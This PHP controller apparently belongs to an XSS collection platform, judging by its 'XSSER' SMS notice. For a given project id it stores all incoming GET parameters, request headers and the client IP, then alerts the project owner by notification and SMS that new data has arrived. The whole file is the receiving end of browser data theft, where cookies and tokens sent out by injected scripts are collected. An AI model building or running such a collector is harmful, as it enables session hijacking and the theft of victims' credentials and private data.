<?php
namespace IO\Controller;
use Think\Controller;
class PostController extends Controller {
    public function index($id){
		if($id >0){
			//header('Content-Type:text/javascript; charset=utf-8');
			$project = M('project')
					->join('admin ON project.user_id = admin.id')
					->field('project.sms,admin.phone,project.user_id')
					->where(array('project.id'=>$id))->find();
			if($project){
				
				// 获取所有的GET参数和值
				$datas = I('get.');
				unset($datas['id']);	//删除项目id
				//print_r($datas);
				
				// 获取所有的header信息
				$headers = getallheaders();
				//print_r($headers);

				// 添加到内容数据库
				M('project_data')->data(array('project'=>$id, 
												'header'=>json_encode($headers), 
												'data'=>json_encode($datas), 
												'ip'=>get_client_ip(0,true),
												'time'=>time()))->add();
				
				// 添加到通知表
				M('notice')->data(array('project_id'=>$id,
										'user_id'=>$project['user_id'],
										'text'=>'收到一条新的数据',
										'time'=>time(),
										'readed'=>0))->add();
				
				// 短信通知
				if($project['sms'] >0){
					$user = M('config')->field('value')->where(array('name'=>'sms_user'))->find();
					$pass = M('config')->field('value')->where(array('name'=>'sms_pass'))->find();
					if(isset($user['value'])&& isset($pass['value'])){
						$sms_content = '【XSSER通知】您的'.$id.'项目于'.date('y-m-d h:i:s',time()).'接收到一条新数据，请及时查收。';
						sms_method($user['value'] , $pass['value'] , $project['phone'] , $sms_content);
					}
				}
			}
		}
    }
}